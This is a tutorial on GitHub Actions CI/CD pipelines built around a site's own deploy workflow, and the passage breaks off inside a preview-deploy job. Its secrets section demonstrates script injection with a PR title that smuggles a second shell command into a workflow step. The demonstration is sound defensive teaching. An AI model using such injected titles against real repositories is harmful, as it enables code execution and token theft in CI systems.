CI/CD Pipelines
What happens between git push and a running site: workflows, jobs and steps, quality gates, build-once artifacts, caching, secrets, environments and approvals, trunk-based development and fast pipelines — with this site's own deploy.yml as the worked example.
The 30-second version
You've probably pushed code and seen it go live a few minutes later without doing anything else. The thing that did the work in between is the pipeline. This topic opens it up, using the real file that deploys this site.
The name has two halves:
- CI, continuous integration: every push is built and tested automatically, so mistakes are caught minutes after they're made, while you still remember what you changed.
- CD, continuous delivery or deployment: every change that passes all the gates is packaged and ready to ship (delivery), or is shipped automatically (deployment). §08 explains the difference.
Try it. Each toggle plants a bug in the commit. Run the pipeline and watch which station catches it, and what happens to production.
Three things to notice:
- A broken commit never reaches users. The gate fails, every station after it is skipped, and production keeps the previous good version.
- Cheap gates go first. The content check takes under a second, so a typo fails fast instead of after a ten-second build.
- Without gates, every bug that still compiles ships. Turn on "no gates" and the typo, the wrong price and the crashing page go straight to users. (A missing file still stops the line, because there's nothing to deploy if the build fails.) That's what deploying from a laptop with
npm run build && uploadamounts to.
What you'll learn
- How a GitHub Actions file is put together (§02), read line by line on this site's real
deploy.yml(§03). - How a gate decides pass or fail, and which gates to have (§04).
- Why you build once and ship that same artifact everywhere (§05), and how caching makes it fast (§06).
- How secrets, environments and approvals keep production safe (§07–§08).
- How teams work so the pipeline stays green: trunk-based development, monorepos, speed (§09–§11).
- What a staff engineer looks for in a pipeline, and what's wrong with this site's own (§12).
Workflows, jobs and steps
Every CI system (GitHub Actions, GitLab CI, CircleCI, Jenkins) uses the same few ideas with slightly different names. We'll use GitHub Actions, because that's what this site runs on.
| Word | What it is | In the factory picture |
|---|---|---|
| Trigger | The event that starts a run: a push, a Pull request, a button press | The order that starts a car down the line |
| Workflow | One YAML file in .github/workflows/ | The whole factory line |
| Job | A list of steps that runs on one machine | One workshop along the line |
| Step | One command (run:) or one ready-made action (uses:) | One task inside the workshop |
| Runner | The machine a job runs on, usually a fresh Virtual machine | The workshop building itself |
Other systems say stage for a group of jobs that run together ("test stage", "deploy stage"). GitHub Actions has no separate word for it; you get stages by making jobs wait for each other with needs:.
The smallest useful workflow
Here's a complete workflow for a Go project. Save it as .github/workflows/ci.yml, push, and GitHub runs it.
name: CI
on: # the trigger(s)
push:
branches: [main]
pull_request: # any PR, any target branch
jobs:
test: # a job id you choose
runs-on: ubuntu-latest # ← ask for a fresh Linux machine
steps:
- uses: actions/checkout@v7 # step 1: get the code
- uses: actions/setup-go@v7 # step 2: install Go
with:
go-version: "1.26"
- run: go vet ./... # step 3: a quick check
- run: go test ./... # step 4: the testsWhat GitHub does with it, in order:
- Someone pushes to
mainor opens a PR. That matcheson:, so a run of this workflow starts. - GitHub starts a brand-new Ubuntu machine for the job
test. It has git, Docker, Node and a lot of common tools, but not your code. - The steps run top to bottom.
actions/checkout@v7is someone else's packaged step that clones your repo at the pushed commit.actions/setup-go@v7installs Go. Then two plain shell commands. - If every step succeeds, the run gets a green check. If one fails, the remaining steps are skipped and the run is red.
- The machine is deleted. Nothing you installed or built survives, unless you explicitly save it (§05, §06).
Jobs run in parallel; steps run in order
A workflow can have several jobs. By default they all start at once, each on its own machine. To make one wait for another, add needs::
jobs:
lint:
runs-on: ubuntu-latest
steps: [...]
test:
runs-on: ubuntu-latest
steps: [...]
deploy:
needs: [lint, test] # ← starts only after both passed
runs-on: ubuntu-latest
steps: [...](steps: [...] stands for "steps omitted here"; it isn't real syntax.)
needs: [lint, test]) and starts on a third, empty machine: it can't see either disk.The one thing to remember from this picture: steps in the same job share a disk; separate jobs don't. If build makes a dist/ folder, a later step in build can use it, but the deploy job runs on a different machine and sees nothing. Passing files between jobs needs an artifact, which is the subject of §05.
Reading this site's deploy.yml
Vercel is the hosting service that serves this site. Its command-line tool, vercel, does three things in this file: pull the project's settings, build the site, and deploy (upload) the build.
Here is the file exactly as it is in the repository (.github/workflows/deploy.yml). Don't try to understand it all yet; the walkthrough below goes through it piece by piece.
# Deploys the site to Vercel production on every push to main.
# Needs three repository secrets: VERCEL_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID (see README → Deploy).
name: Deploy to Vercel
on:
push:
branches: [main]
workflow_dispatch: # allow manual runs from the Actions tab / `gh workflow run deploy.yml`
concurrency:
group: vercel-production
cancel-in-progress: true # a newer push supersedes an in-flight deploy
env:
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
- uses: actions/setup-node@v5
with:
node-version: 22
cache: npm
- run: npm ci
# Quality gate: glossary keys, duplicate terms, section metadata, § references.
- run: npm run check
- name: Check Vercel secrets
id: secrets
run: |
if [ -z "${{ secrets.VERCEL_TOKEN }}" ] || [ -z "${{ secrets.VERCEL_ORG_ID }}" ] || [ -z "${{ secrets.VERCEL_PROJECT_ID }}" ]; then
echo "::warning::Vercel secrets are not set — skipping deploy. See README → Deploy."
echo "ok=false" >> "$GITHUB_OUTPUT"
else
echo "ok=true" >> "$GITHUB_OUTPUT"
fi
- name: Install Vercel CLI
if: steps.secrets.outputs.ok == 'true'
run: npm install --global vercel@latest
- name: Pull Vercel project settings
if: steps.secrets.outputs.ok == 'true'
run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }}
- name: Build
if: steps.secrets.outputs.ok == 'true'
run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}
- name: Deploy
if: steps.secrets.outputs.ok == 'true'
run: |
url=$(vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }})
echo "Deployed to $url"
echo "### 🚀 Deployed: $url" >> "$GITHUB_STEP_SUMMARY"A few pieces of syntax show up that §02 didn't have:
Two blocks near the top apply to the whole workflow, not to one step:
env:at the top level sets environment variables for every step of every job. Here it gives the Vercel CLI the IDs of the account and project to deploy to. (env:can also sit on a job or on a single step, which limits who sees it; §07 uses that for secrets.)concurrency:puts every run of this workflow into a Concurrency group namedvercel-production. Only one run per group can be active at a time. Withcancel-in-progress: true, a new push cancels a deploy that is still running, so the newest commit wins instead of two deploys racing each other. (Whether cancelling a deploy halfway is wise is a §12 topic.)
Now step through a run. Flip the toggle to compare a repository with the Vercel secrets set (the real one) and a fork without them.
1on:2 push:3 branches: [main]4 workflow_dispatch:5concurrency:6 group: vercel-production7 cancel-in-progress: true8env:9 VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}10 VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}11jobs:12 deploy:13 runs-on: ubuntu-latest14 steps:15 - uses: actions/checkout@v516 - uses: actions/setup-node@v517 with:18 node-version: 2219 cache: npm20 - run: npm ci21 - run: npm run check22 - name: Check Vercel secrets23 id: secrets24 run: |25 if [ -z "${{ secrets.VERCEL_TOKEN }}" ] || …; then26 echo "::warning::Vercel secrets are not set — skipping deploy."27 echo "ok=false" >> "$GITHUB_OUTPUT"28 else29 echo "ok=true" >> "$GITHUB_OUTPUT"30 fi31 - name: Install Vercel CLI32 if: steps.secrets.outputs.ok == 'true'33 run: npm install --global vercel@latest34 - name: Pull Vercel project settings35 if: steps.secrets.outputs.ok == 'true'36 run: vercel pull --yes --environment=production --token=…37 - name: Build38 if: steps.secrets.outputs.ok == 'true'39 run: vercel build --prod --token=…40 - name: Deploy41 if: steps.secrets.outputs.ok == 'true'42 run: |43 url=$(vercel deploy --prebuilt --prod --token=…)44 echo "### 🚀 Deployed: $url" >> "$GITHUB_STEP_SUMMARY"
main. That matches on:, so GitHub starts a run of this workflow. workflow_dispatch also allows starting it by hand from the Actions tab.What the file gets right
- The gate comes before anything irreversible.
npm run checkruns before the build and the deploy. If it fails, the deploy steps never run. - It deploys exactly once per push.
vercel.jsonturns off Vercel's own "deploy every git push" feature ("git": { "deploymentEnabled": false }), so the workflow is the only way code reaches production, and only after the gate. - Forks don't fail noisily. Someone who forks the repo has no Vercel secrets. The "Check Vercel secrets" step notices, prints a warning and skips the deploy instead of failing with a confusing error.
npm ci, notnpm install.npm ciinstalls exactly whatpackage-lock.json(the Lockfile) lists and fails if it doesn't matchpackage.json, so CI never quietly upgrades a library.cache: npmsaves npm's download cache between runs. §06 shows the effect.
It also has gaps, the most important being that nothing runs on pull requests: a PR is never checked until after it's merged. §04 fixes that, and §12 reviews the rest.
Running it on a laptop
You don't have to push to find out whether a workflow works. act reads the same YAML and runs each job in a Docker container on your machine. Here's this exact file, run on the test machine against a fresh clone of the repo (output trimmed; the full log is ~70 lines):
$ act workflow_dispatch -W .github/workflows/deploy.yml \
-P ubuntu-latest=node:22-bookworm-slim
[Deploy to Vercel/deploy] ⭐ Run Main actions/checkout@v5
[Deploy to Vercel/deploy] ✅ Success - Main actions/checkout@v5 [493ms]
[Deploy to Vercel/deploy] ⭐ Run Main actions/setup-node@v5
[Deploy to Vercel/deploy] | npm cache is not found
[Deploy to Vercel/deploy] ✅ Success - Main actions/setup-node@v5 [10.8s]
[Deploy to Vercel/deploy] ⭐ Run Main npm ci
[Deploy to Vercel/deploy] | added 177 packages, and audited 178 packages in 3s
[Deploy to Vercel/deploy] ✅ Success - Main npm ci [3.2s]
[Deploy to Vercel/deploy] ⭐ Run Main npm run check
[Deploy to Vercel/deploy] | ✓ content OK — 79 topics, 2627 glossary terms, 88 catalog items, 4 roadmap tracks
[Deploy to Vercel/deploy] ✅ Success - Main npm run check [420ms]
[Deploy to Vercel/deploy] ⭐ Run Main Check Vercel secrets
[Deploy to Vercel/deploy] 🚧 ::warning::Vercel secrets are not set — skipping deploy. See README → Deploy.
[Deploy to Vercel/deploy] ⚙ ::set-output:: ok=false
[Deploy to Vercel/deploy] ✅ Success - Main Check Vercel secrets [190ms]
[Deploy to Vercel/deploy] ⭐ Run Post actions/setup-node@v5
[Deploy to Vercel/deploy] | Cache saved with the key: node-cache-Linux-x64-npm-15726ef760f4…
[Deploy to Vercel/deploy] 🏁 Job succeededReading the command and the log: workflow_dispatch is the event act pretends happened (the manual-run trigger), -W picks the workflow file, and -P ubuntu-latest=… tells act which Docker image should stand in for GitHub's ubuntu-latest machine. The ⚙ ::set-output:: ok=false line is just how act displays a step output; the file itself writes to $GITHUB_OUTPUT as shown above.
The laptop has no Vercel secrets, so this is exactly the "fork" path from the stepper: the gate ran and passed, ok=false was written to $GITHUB_OUTPUT, and the four Vercel steps were skipped. (The numbers and topic counts are from the day it was run.)
Quality gates: exit codes decide
0, the change moves on; any other Exit code stops the line. Everything else (lint, tests, builds, scans) is a choice of which commands to run and when.How a step decides "failed"
Every program returns a number when it finishes: 0 for success, anything else for failure. go test returns 1 when a test fails; npm run check returns 1 when it finds a problem. The CI system doesn't read the output at all. It only looks at that number.
A run: step is a small shell script. On Linux runners, GitHub runs it with bash -e, where -e means stop at the first command that fails:
$ bash -e -c 'echo one; false; echo two'; echo "exit=$?"
one
exit=1false is a command that does nothing except fail. two never prints, and the script's exit code is 1, so the step is marked failed and the steps after it are skipped. $? is the shell's variable for "exit code of the last command".
Here's what that looks like for real. This is the same deploy.yml from §03, run with act after planting a misspelled glossary key (pipline instead of a real key) in one page:
[Deploy to Vercel/deploy] ⭐ Run Main npm run check
[Deploy to Vercel/deploy] | ✗ 1 problem(s):
[Deploy to Vercel/deploy] | topics/caching/sections/01-tldr.mdx: <Term t="pipline"> has no glossary entry
[Deploy to Vercel/deploy] ❌ Failure - Main npm run check [566ms]
[Deploy to Vercel/deploy] exitcode '1': failure
[Deploy to Vercel/deploy] 🏁 Job failedNo "Check Vercel secrets", no build, no deploy: the line stopped at the gate, and production kept the previous version.
A pipe can hide a failure
bash -e only looks at the last command of a pipeline (a | b). This step passes even when the tests fail, because tee (which copies output into a file) succeeded:
$ bash -e -c 'false | tee /dev/null; echo "still running"'; echo "exit=$?"
still running
exit=0
$ bash -eo pipefail -c 'false | tee /dev/null; echo "still running"'; echo "exit=$?"
exit=1-o pipefail makes a pipeline fail if any part fails. In GitHub Actions, writing shell: bash on a step (or under defaults.run.shell) switches it on; the implicit default doesn't. So go test ./... | tee test.log needs shell: bash, or the gate is decorative.
Which gates to have
Start with these, roughly in this order. Each one catches a different kind of mistake.
| Gate | Catches | Go | JavaScript |
|---|---|---|---|
| Format | Unformatted code, noisy diffs | test -z "$(gofmt -l .)" | npx prettier --check . |
| Lint / vet | Likely bugs, found without running the code (a Linter) | go vet ./... | npx eslint . |
| Type check | Wrong types passed around | (the compiler does it in go build) | npx tsc --noEmit |
| Unit tests | Logic bugs in one function | go test -race ./... | npx vitest run |
| Build | Code that doesn't compile or bundle | go build ./... | npm run build |
| Integration tests | Code that breaks against a real database | with a Service container, see Integration Testing: Running in CI | same |
| Smoke test / E2E | A build that compiles but crashes on load | start the binary, curl it | against a Preview build, see E2E Testing: Running in CI |
test -z "$(gofmt -l .)" reads inside out: gofmt -l . lists files that aren't formatted, $( ) captures that list as text, and test -z succeeds only if the text is empty. -race turns on Go's race detector, which catches two goroutines touching the same memory unsafely. This site's own gate, npm run check, is a custom one: it checks glossary keys, section metadata and § references, things no generic tool knows about. Custom gates for your project's own rules are normal and valuable.
Fail fast: cheap gates first
The order matters because a pipeline stops at the first failure. Put the gates that are fast and most likely to fail first:
A typo caught by a 1-second check costs 1 second of waiting. The same typo caught after an 8-minute E2E suite costs 8 minutes, and the developer has moved on to something else by then. (Gates that don't depend on each other can also run in parallel as separate jobs; §11 covers that.)
The gap in this site's pipeline: nothing runs on pull requests
deploy.yml triggers on push to main only. So a pull request with a broken glossary key looks fine, gets merged, and then the gate fails, on main, where everyone's next deploy is now blocked until someone fixes it. The gate protected production but not the team.
The fix is a second workflow that runs the same gates on every PR, before the merge button is even clickable:
name: CI
on:
pull_request:
push:
branches: [main]
permissions:
contents: read # the job's token may read the repo, nothing more (§07)
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }} # cancel old runs on PRs only
jobs:
check:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm run check # gate 1: content rules
build:
needs: check # only starts if check passed
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm run build # gate 2: does it build?
- uses: actions/upload-artifact@v7
with:
name: site
path: dist/
retention-days: 7
smoke:
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-node@v7
with:
node-version: 22
cache: npm
- run: npm ci
- uses: actions/download-artifact@v8
with:
name: site # the exact files the build job made
path: dist/
- run: |
npx vite preview --port 4173 --strictPort &
timeout 30 bash -c 'until curl -sf http://127.0.0.1:4173/ > /dev/null; do sleep 1; done'
npm run smoke -- / http://127.0.0.1:4173 # gate 3: the built site rendersThis file was checked with actionlint (no findings) and run with act: check and build passed, and the artifact's SHA-256 fingerprint on download matched the one on upload. Two honest caveats: act's artifact server needed the older @v4 artifact actions (see §03), and the act container had no Chrome, so the last line was swapped for a plain HTTP request, which returned 200. The npm run smoke -- / <url> command itself was run separately against vite preview and passed.
Make the check required
A red check that people can merge past anyway is only advice. In the repository settings, add a branch protection rule (or a ruleset) for main that lists check, build and smoke as required status checks. Now the merge button stays grey until all three are green. That's the moment CI becomes a real gate instead of a dashboard.
Build once, deploy many
How a rebuild drifts
"Same source code" doesn't mean "same output". A build also reads things that change on their own:
- Version ranges.
package.jsonsays"vite": "^8.3.5", which allows any 8.x at or above 8.3.5. Without a lockfile andnpm ci, a rebuild an hour later can pick up a new release. - Moving tags.
npm install --global vercel@latest(in this site'sdeploy.yml) installs whatever is newest at that moment. A DockerFROM node:22gets a different image every time22is re-tagged. - The environment itself. A different runner image, a different time zone, a variable set in one environment but not another.
Play with it. Rebuild per environment and let a dependency release happen in between; then try promoting one artifact.
In "build once" mode the production artifact has the same fingerprint as the one you tested; the late release can't sneak in, because production never builds anything. Moving an existing artifact to the next environment is called promotion.
Artifacts within one run
Inside a single workflow run, jobs pass files with two actions you saw in §04:
# in the build job
- uses: actions/upload-artifact@v7
with:
name: site
path: dist/
retention-days: 7 # default is 90 days; old builds pile up
# in a later job (any machine)
- uses: actions/download-artifact@v8
with:
name: site
path: dist/GitHub stores the folder as a zip and records its SHA-256 fingerprint. When ci.yml from §04 ran under act, the upload and the download reported the same fingerprint (151c094e…), which is the proof that the smoke job tested exactly what the build job made.
Artifacts across environments: images tagged with the commit
For a server, the artifact is usually a Container image pushed to a Container registry. Two rules make promotion work:
- Name it after the commit. Tag the image with the git commit's SHA (its unique ID, like
3f9c2e1…), notlatest. Then "what's running in production?" has an exact answer you cangit checkout. - Keep configuration out of the artifact. Anything that differs between staging and production (database URL, feature settings, the environment's name) is read at start-up from environment variables or files, never baked in at build time.
Here's a tiny service that follows both rules. The version is stamped in at build time; the environment name is read when it runs:
package main
import (
"fmt"
"log"
"net/http"
"os"
)
// version is baked in by the build: go build -ldflags "-X main.version=<commit sha>"
var version = "dev"
func versionHandler(w http.ResponseWriter, r *http.Request) {
env := os.Getenv("APP_ENV") // ← config comes from the environment, not the build
fmt.Fprintf(w, "version=%s env=%s\n", version, env)
}
func main() {
http.HandleFunc("/version", versionHandler)
log.Fatal(http.ListenAndServe(":8080", nil))
}Built once, then started twice with different settings. The Dockerfile is four lines, because the binary was already built (and tested) by an earlier step; Containers covers writing real ones:
FROM gcr.io/distroless/static-debian12:nonroot
COPY hello /hello
EXPOSE 8080
ENTRYPOINT ["/hello"]FROM picks a tiny base image with no shell, COPY puts the binary in, EXPOSE documents the port, and ENTRYPOINT is the command the container runs. In the commands below, --format '{{.Repository}}:{{.Tag}} {{.ID}}' is Docker's own template syntax for choosing output columns; it looks like a GitHub expression but has nothing to do with one.
$ CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello .
$ docker build -q -t hello:3f9c2e1 .
sha256:be3be982b83f4c7a4a5d2e02873a43a0e3ba79be15643565743a5962bbb0ea45
$ docker tag hello:3f9c2e1 hello:production # promotion = a new name, same image
$ docker image ls --format '{{.Repository}}:{{.Tag}} {{.ID}}' hello
hello:3f9c2e1 be3be982b83f
hello:production be3be982b83f
$ docker run -d -e APP_ENV=staging -p 18081:8080 hello:3f9c2e1
$ docker run -d -e APP_ENV=production -p 18082:8080 hello:production
$ curl -s localhost:18081/version
version=3f9c2e1 env=staging
$ curl -s localhost:18082/version
version=3f9c2e1 env=productionSame image ID, same version, different configuration. Tagging didn't copy or rebuild anything; it added a second name.
The whole thing as a pipeline
name: hello-service
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version-file: go.mod # use the Go version go.mod asks for
- run: go vet ./...
- run: go test -race ./...
build:
needs: test
if: github.ref == 'refs/heads/main' # PRs stop after the tests
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: read
packages: write # allowed to push to ghcr.io
outputs:
image: ${{ steps.push.outputs.image }}
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version-file: go.mod
- run: CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=${GITHUB_SHA::7}" -o hello .
- id: push
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
image="ghcr.io/${GITHUB_REPOSITORY,,}:${GITHUB_SHA}" # ,, = lowercase
echo "$GH_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin
docker build -t "$image" .
docker push "$image"
digest=$(docker inspect --format '{{index .RepoDigests 0}}' "$image")
echo "image=$digest" >> "$GITHUB_OUTPUT"
deploy-staging:
needs: build
runs-on: ubuntu-latest
environment: staging
steps:
- uses: actions/checkout@v7
- env:
IMAGE: ${{ needs.build.outputs.image }}
run: ./deploy.sh staging "$IMAGE"
deploy-production:
needs: [build, deploy-staging]
runs-on: ubuntu-latest
environment: production # pauses for approval if this environment requires reviewers (§08)
steps:
- uses: actions/checkout@v7
- env:
IMAGE: ${{ needs.build.outputs.image }}
run: ./deploy.sh production "$IMAGE"The test job runs on every PR; the build and the two deploys only run on main. Production gets the exact digest staging ran. (This workflow passes actionlint; it wasn't run against a real registry.)
Reproducible builds: a nice check, not a substitute
A Reproducible build produces identical bytes from the same source. Both builds in this topic are, measured on this machine:
$ npx vite build && (cd dist && find . -type f | sort | xargs sha256sum | sha256sum)
ee614889ae0a6e767b468b887841dec88131221e0149b9b5e133a344c938ab49 -
$ rm -rf dist && npx vite build && (cd dist && find . -type f | sort | xargs sha256sum | sha256sum)
ee614889ae0a6e767b468b887841dec88131221e0149b9b5e133a344c938ab49 -
$ CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello . && sha256sum hello
c3df393351199765e3220e94f30a55470a056faf1221a9621d37980fb9ff19e1 hello
$ rm hello && CGO_ENABLED=0 go build -trimpath -ldflags "-X main.version=3f9c2e1" -o hello . && sha256sum hello
c3df393351199765e3220e94f30a55470a056faf1221a9621d37980fb9ff19e1 hello(The first command fingerprints every file in dist/ and then fingerprints that list, giving one hash for the whole folder. -trimpath stops Go from embedding your machine's folder paths in the binary.)
That's reassuring: it means a rebuild today, on this machine, with this lockfile gives the same site. It doesn't protect you from tomorrow's vercel@latest or a re-tagged base image. Reproducibility lets you verify an artifact; build-once means you don't have to.
Caching dependencies
This is the same idea as any Cache key in Caching: the key must change whenever the cached content would. For dependencies, the thing that decides the content is the Lockfile (package-lock.json, go.sum), so the key is a fingerprint of that file.
What cache: npm actually does
This site's deploy.yml has two words, cache: npm, under setup-node. Here's what they did in the act runs from §03, first with an empty cache, then again:
# run 1
| npm cache is not found
| added 177 packages, and audited 178 packages in 3s
✅ Success - Main npm ci [3.2s]
| Cache saved with the key: node-cache-Linux-x64-npm-15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5
# run 2
| Cache restored from key: node-cache-linux-x64-npm-15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5
✅ Success - Main npm ci [1.7s]- Before
npm ci, the action computes the key and asks the cache service for it. Run 1: nothing there. npm cidownloads 177 packages into npm's own cache folder (~/.npm) and installs them.- After the job, a post step (cleanup code the action registers to run after all your steps) zips
~/.npm(about 24 MB here) and saves it under the key. - Run 2: the key matches, the zip is restored, and
npm cicopies packages from disk instead of the network. (The restored key prints aslinuxinstead ofLinuxbecause act's local cache server stores keys in lowercase. GitHub's real cache keeps them exactly as written; it's the same entry either way.)
Here the gain is small (3.2 s → 1.7 s) because the project is small and the registry is close. On a big app with slow downloads, the same change often saves a minute or more per job; treat that as a rough figure and measure your own.
That long hex string is hashFiles('package-lock.json'). GitHub computes it by taking the SHA-256 of each matching file and then the SHA-256 of those results. You can check it yourself:
$ node -e 'const c=require("crypto"),f=require("fs");
const d=c.createHash("sha256").update(f.readFileSync("package-lock.json")).digest();
console.log(c.createHash("sha256").update(d).digest("hex"))'
15726ef760f40e7cc66b82e6f56033de5a1826c9ea21190933d95974414556d5Exactly the suffix of the key. Change one byte of the lockfile and the key is completely different.
Writing your own cache step
setup-node (cache: npm) and setup-go (on by default, keyed on go.sum, covering both downloaded modules and Go's compile cache) handle the common cases. For anything else, use actions/cache directly. Playwright's browsers, for example, take a few hundred MB and depend on the Playwright version in the lockfile:
- uses: actions/cache@v6
with:
path: ~/.cache/ms-playwright
key: ${{ runner.os }}-playwright-${{ hashFiles('package-lock.json') }}
restore-keys: |
${{ runner.os }}-playwright-
- run: npx playwright install --with-deps chromiumCache or artifact?
They look similar (both save files between machines) but answer different questions:
| Cache | Artifact | |
|---|---|---|
| Purpose | Make things faster | Pass results along |
| If it's missing | The job is slower, still correct | The job can't do its work |
| Shared between | Runs (across days) | Jobs of one run (downloadable after) |
| Typical content | ~/.npm, Go module cache, browsers | dist/, a binary, a test report |
The rule: a job must be correct with an empty cache. Never use a cache to hand a build output to the deploy job; if the entry is evicted, you'd silently deploy something else, or nothing.
Secrets and permissions in a pipeline
env:, give the job's token only the permissions it needs, and pin third-party actions to an exact commit.The basics of CI secrets (masking in logs, why forks don't get secrets, the pull_request_target trap, and short-lived cloud credentials with OIDC) are covered in Secrets Management: Secrets in CI/CD. This section is about how the workflow file itself can leak or misuse them.
${{ }} is pasted in before the shell runs
§03 said GitHub replaces ${{ … }} with its value before running the step. That means the value becomes part of the script text. If the value comes from someone outside your team, such as a pull request's title, they get to write part of your script.
Here's a real demonstration. The workflow greets a PR by its title, once unsafely and once safely:
on: pull_request
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Unsafe
run: echo "Checking PR - ${{ github.event.pull_request.title }}"
- name: Safe
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Checking PR - $TITLE"Run with act, with a PR whose title is Fix typo"; echo "INJECTED as $(whoami):
[title-check/greet] ⭐ Run Main Unsafe
[title-check/greet] | Checking PR - Fix typo
[title-check/greet] | INJECTED as root
[title-check/greet] ⭐ Run Main Safe
[title-check/greet] | Checking PR - Fix typo"; echo "INJECTED as $(whoami)Step through what happened, in both versions:
1- name: Unsafe2 run: echo "Checking PR - ${{ github.event.pull_request.title }}"
${{ github.event.pull_request.title }} into its run: line.In the unsafe step, the title's " closed the string, ; ended the echo, and the rest ran as a second command. Here it only printed the user name, but it could just as well have sent the job's token to a server. That's Script injection.
In the safe step, GitHub put the title into an environment variable, and the script refers to $TITLE. The shell treats a variable's contents as plain text, never as code, so the whole title was printed as-is.
This site's deploy.yml pastes secrets the unsafe way, e.g. --token=${{ secrets.VERCEL_TOKEN }}. A token isn't attacker-controlled, so this isn't an injection hole, but the secret's text still becomes part of a script file written to the runner's disk, and a token containing " or $ would break the script. The env pattern avoids both, and it also lets you hand the secret to only the step that needs it:
- run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}- env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
run: vercel build --prod --token="$VERCEL_TOKEN"Least-privilege tokens
Every run gets a GITHUB_TOKEN, a credential for the GitHub API that expires when the job ends. What it may do depends on a repository setting, and on older repos the default often includes write access to the code. Following Least privilege, say what you need at the top of the workflow and widen it only on the job that needs more:
permissions:
contents: read # whole workflow: read the code, nothing else
jobs:
build:
permissions:
contents: read
packages: write # this job alone may push imagesOnce you write a permissions: block, anything you don't list is none. A job's own permissions: replaces the top-level block rather than adding to it, which is why build lists contents: read again: drop that line and the job can't even check out the code. If a step later fails with a 403 from the GitHub API, add the one permission it needs rather than going back to "everything".
Third-party actions run with your secrets
uses: some-org/some-action@v3 downloads someone else's code and runs it inside your job, with access to the job's files, environment and token. A tag like v3 is a movable pointer (§02). In March 2025 the popular tj-actions/changed-files action was compromised, its tags were moved to malicious code, and thousands of workflows printed their secrets into build logs.
Pinning to a full commit SHA removes that risk, because a SHA always names the same code. You can look one up yourself:
$ git ls-remote --tags https://github.com/actions/checkout | grep 'v7'
3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7
9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 refs/tags/v7.0.0
3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7.0.1(These tags are plain pointers to commits. Some projects use annotated tags, and then ls-remote prints a second line ending in ^{}; that line's SHA is the commit, so use that one.) v7 and v7.0.1 point at the same commit today; when v7.0.2 ships, v7 will move and v7.0.1's SHA won't.
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1The comment keeps it readable, and tools like Dependabot or Renovate read that comment and open a PR when a new version comes out, so pinning doesn't mean never updating. Many teams pin everything outside the actions/ and github/ organisations and accept tags for GitHub's own actions; pinning everything is stricter.
Environments, approvals and preview deploys
- Continuous delivery: every commit that passes is ready to release, but a person approves the actual production deploy. Common when releases need coordination (an app store review, a customer announcement, regulated industries).
- Continuous deployment: every commit that passes goes to production automatically. This site works this way: merge to
main, and a few minutes later it's live.
Neither is "more advanced". Continuous deployment needs very good gates and a fast way back (§12), because nobody looks before users do. Push a few commits through both modes:
GitHub environments
An environment is a named deploy target (preview, staging, production) that you create in the repository's settings. A job opts in with one line:
deploy:
runs-on: ubuntu-latest
environment: productionThe environment can then enforce rules before that job starts:
| Rule | What it does |
|---|---|
| Required reviewers | The job pauses until one of the listed people clicks Approve. That's continuous delivery in one setting. |
| Wait timer | The job waits N minutes first, e.g. to give a canary time to show problems. |
| Deployment branches | Only jobs running for main (or tags) may use this environment, so a feature branch can't deploy to production. |
| Environment secrets | Secrets stored on the environment are only given to jobs that reference it, and only after the rules above pass. |
That last row matters. A repository secret can be read by any job in any workflow, including one someone adds in a PR branch. An environment secret can only be read by jobs that name that environment, after its rules pass. So put deploy tokens on environments.
One catch: a job names at most one environment, and every job that uses the token must name one that holds it. In the proposed deploy.yml below, two jobs need the Vercel token: build (to pull settings and build) and deploy. So the token is stored on two environments: vercel-build, limited to the main branch with no reviewers, and production, where you can add reviewers. Approving a release then never holds up the build and smoke test, and a feature branch can't reach the token at all. The cost is two copies to update when you rotate the token.
(Required reviewers are available on public repositories on every plan. For private repositories, whether you get them depends on your GitHub plan, so check GitHub's current pricing page before relying on them.)
Preview deploys: a URL per pull request
A Preview deployment builds the PR and deploys it to its own temporary address, so a reviewer can click through the change instead of imagining it from a diff. For this site, it would be one more job in the ci.yml from §04:
preview:
needs: smoke # deploy a preview only after the gates passed
# Fork PRs get no secrets, so only run for branches in this repo.
if: github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest
timeout-minutes: 10
environment: preview
env:
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
